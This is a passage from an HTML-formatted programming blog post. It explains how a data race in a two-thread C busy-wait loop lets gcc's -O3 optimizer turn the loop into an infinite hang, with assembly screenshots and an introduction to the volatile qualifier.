&lt;p&gt;But what exactly does that suppose to mean? What is behind the generic &lt;em&gt;undefined state&lt;/em&gt;?&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;Consider the &lt;a href="/assets/threading/optimization-under-rc/rc.c"&gt;following code&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;ctx_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ROUNDS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DATASZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function will run in two separated threads. One will increase by one each value of the array if the previous value was even, the other will do the same but if the previous value was odd.&lt;/p&gt;
&lt;p&gt;To &lt;em&gt;synchornize&lt;/em&gt; the efforts of these two, the code has a &lt;em&gt;busy wait&lt;/em&gt;, a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;-loop that will run until the condition is set.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; array is not protected so this will lead to a race condition.&lt;/p&gt;
&lt;p&gt;Let’s compile &amp;amp; run it:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;--version
gcc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;.3.0-18+deb9u1&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;.3.0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20170516&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;-std&lt;span class="o"&gt;=&lt;/span&gt;c11&lt;span class="w"&gt; &lt;/span&gt;-lpthread&lt;span class="w"&gt; &lt;/span&gt;-O0&lt;span class="w"&gt; &lt;/span&gt;-ggdb&lt;span class="w"&gt; &lt;/span&gt;-DDATASZ&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;256&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;rcO0&lt;span class="w"&gt; &lt;/span&gt;rc.c

$&lt;span class="w"&gt; &lt;/span&gt;./rcO0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Sum&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5120&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='ClRoZSBhcnJheSBvZiBgREFUQVNaID09IDI1NmAgbnVtYmVycyBpcyBpbml0aWFsbHkgemVyb2VkLiBUd28KdGhyZWFkcyBpbmNyZW1lbnQgZWFjaCB2YWx1ZSBieSBvbmUgYFJPVU5EUyA9PSAxMGAgdGltZXMuCgpUaGUgZGlzcGxheWVkIG51bWJlciBpcwp0aGUgc3VtIG9mIHRoZSB2YWx1ZXMgdGhhdCBzaG91bGQgZ2l2ZSBgMjU2ICogMTAgKiAyID09IDUxMjBgLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBhcnJheSBvZiBgREFUQVNaID09IDI1NmAgbnVtYmVycyBpcyBpbml0aWFsbHkgemVyb2VkLiBUd28KdGhyZWFkcyBpbmNyZW1lbnQgZWFjaCB2YWx1ZSBieSBvbmUgYFJPVU5EUyA9PSAxMGAgdGltZXMuCgpUaGUgZGlzcGxheWVkIG51bWJlciBpcwp0aGUgc3VtIG9mIHRoZSB2YWx1ZXMgdGhhdCBzaG91bGQgZ2l2ZSBgMjU2ICogMTAgKiAyID09IDUxMjBgLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The array of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DATASZ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; numbers is initially zeroed. Two threads increment each value by one &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ROUNDS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; times.
&lt;br /&gt;&lt;br /&gt;
The displayed number is the sum of the values that should give &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5120&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Surprisingly the code seems to work computing the correct result.&lt;/p&gt;
&lt;p&gt;I ran several times and I always got the same.&lt;/p&gt;
&lt;p&gt;But the party begins when we compile with the optimizations enabled: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; flag in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gcc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This time, the optimized program hangs – &lt;em&gt;every time&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="dissection-of-an-optimized-rc"&gt;Dissection of an optimized RC&lt;/h2&gt;
&lt;p&gt;Let’s see what code &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gcc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; generated.&lt;/p&gt;
&lt;p&gt;For the non-optimized code &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;rcO0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the following picture shows the busy loop &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; reads the array and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; checks for the condition.
&lt;br /&gt;&lt;br /&gt;
If it is not set, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; jumps to the begin of the loop again.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/optimization-under-rc/rcO0-busy-loop.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We can see how the program retries again and again until the condition is set before proceeding.&lt;/p&gt;
&lt;p&gt;But for the optimized code, the story is totally different.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The busy loop was rewritten as one conditional: if the condition is not set the program will jump to an infinite loop.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/optimization-under-rc/rcO3-busy-loop.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A race condition leads to an undefined state and for a compiler this opens the door for optimizations.&lt;/p&gt;
&lt;p&gt;Unless explicitly noticed, the compiler will assume that the code is single threaded.&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBgYGNwcAppZiAoZGF0YVtpXSAlIDIgPT0gbikKICAgIHdoaWxlICgxKTsKCisrZGF0YVtpXTsKYGBgCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgYGNwcAppZiAoZGF0YVtpXSAlIDIgPT0gbikKICAgIHdoaWxlICgxKTsKCisrZGF0YVtpXTsKYGBgCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;-loop waits for a different value but it does not change it, nobody will change it ever so, unless the condition is set from the begin, it is an infinite loop.&lt;/p&gt;
&lt;p&gt;So the compiler decided to rewrite it as a single check and an infinite loop that explains why the program hangs.&lt;/p&gt;
&lt;h2 id="volatile"&gt;Volatile&lt;/h2&gt;
&lt;p&gt;&lt;label for='CldyaXRlcyAoKnN0b3JlcyopIHRvbzogYSBjb21waWxlciBjb3VsZCBvcHRpbWl6ZSBpc3N1aW5nCm9ubHkgdGhlIGxhc3Qgb2YgbWFueSB3cml0ZXMgaWYgbm90IHJlYWQgKCpsb2FkKikgaGFwcGVuIGluIGJldHdlZW4gb3IgaXQgY291bGQKaXNzdWUgb25lIG9mIHRoZW0gaWYgYWxsIG9mIHRoZW0gd3JpdGUgdGhlIHNhbWUgdmFsdWUuCgpgdm9sYXRpbGVgIGRpc2FibGVzIHRoZXNlIGFzc3VtcHRpb25zLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldyaXRlcyAoKnN0b3JlcyopIHRvbzogYSBjb21waWxlciBjb3VsZCBvcHRpbWl6ZSBpc3N1aW5nCm9ubHkgdGhlIGxhc3Qgb2YgbWFueSB3cml0ZXMgaWYgbm90IHJlYWQgKCpsb2FkKikgaGFwcGVuIGluIGJldHdlZW4gb3IgaXQgY291bGQKaXNzdWUgb25lIG9mIHRoZW0gaWYgYWxsIG9mIHRoZW0gd3JpdGUgdGhlIHNhbWUgdmFsdWUuCgpgdm9sYXRpbGVgIGRpc2FibGVzIHRoZXNlIGFzc3VtcHRpb25zLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Writes (&lt;em&gt;stores&lt;/em&gt;) too: a compiler could optimize issuing only the last of many writes if not read (&lt;em&gt;load&lt;/em&gt;) happen in between or it could issue one of them if all of them write the same value.
&lt;br /&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; disables these assumptions.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;C and C++ has the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; qualifier that instructs to the compiler to not assume that reading twice the same variable could yield the same result even if no &lt;em&gt;apparent&lt;/em&gt; write happen in between.&lt;/p&gt;
&lt;p&gt;&lt;label for='CmB2b2xhdGlsZSBpbnQgKnBgICBwb2ludGVyIHRvIHZvbGF0aWxlLWRhdGE7IGBpbnQgKiB2b2xhdGlsZSBwYAp2b2xhdGlsZSAqcG9pbnRlciogdG8gZGF0YS4gVGhleSBhcmUgbm90IHRoZSBzYW1lLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmB2b2xhdGlsZSBpbnQgKnBgICBwb2ludGVyIHRvIHZvbGF0aWxlLWRhdGE7IGBpbnQgKiB2b2xhdGlsZSBwYAp2b2xhdGlsZSAqcG9pbnRlciogdG8gZGF0YS4gVGhleSBhcmUgbm90IHRoZSBzYW1lLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pointer to volatile-data; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; volatile &lt;em&gt;pointer&lt;/em&gt; to data. They are not the same.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We could define a pointer to the volatile data:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;ctx_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DATASZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CllvdSBjYW4gZ2VuZXJhbGl6ZSB0aGlzIGNhc3QgYXMgYSBtYWNybwpgUkVBRCh4KSAoKHZvbGF0aWxlIHR5cGVvZigoeCkpKSh4KSlgCgpUYWtlIGF0IGxvb2sgYXQgTGludXgncwpbYFJFQURfT05DRWBdKGh0dHBzOi8vZ2l0aHViLmNvbS90b3J2YWxkcy9saW51eC9ibG9iL2YxNDNjMTFiYjdiOTI0NDAzZWEyZDViNWM5OTA3MTc3NzIyOTM2MjAvaW5jbHVkZS9saW51eC9jb21waWxlci5oI0wyNzUtTDI5MykKZm9yIGEgbW9yZSBjb21wbGV0ZSBjb25zdHJ1Y3Rpb24gZXZlbiBmb3Igbm9uLWF0b21pYy9ub24tcHJpbWl0aXZlIHZhcmlhYmxlcy4gbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CllvdSBjYW4gZ2VuZXJhbGl6ZSB0aGlzIGNhc3QgYXMgYSBtYWNybwpgUkVBRCh4KSAoKHZvbGF0aWxlIHR5cGVvZigoeCkpKSh4KSlgCgpUYWtlIGF0IGxvb2sgYXQgTGludXgncwpbYFJFQURfT05DRWBdKGh0dHBzOi8vZ2l0aHViLmNvbS90b3J2YWxkcy9saW51eC9ibG9iL2YxNDNjMTFiYjdiOTI0NDAzZWEyZDViNWM5OTA3MTc3NzIyOTM2MjAvaW5jbHVkZS9saW51eC9jb21waWxlci5oI0wyNzUtTDI5MykKZm9yIGEgbW9yZSBjb21wbGV0ZSBjb25zdHJ1Y3Rpb24gZXZlbiBmb3Igbm9uLWF0b21pYy9ub24tcHJpbWl0aXZlIHZhcmlhYmxlcy4gbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
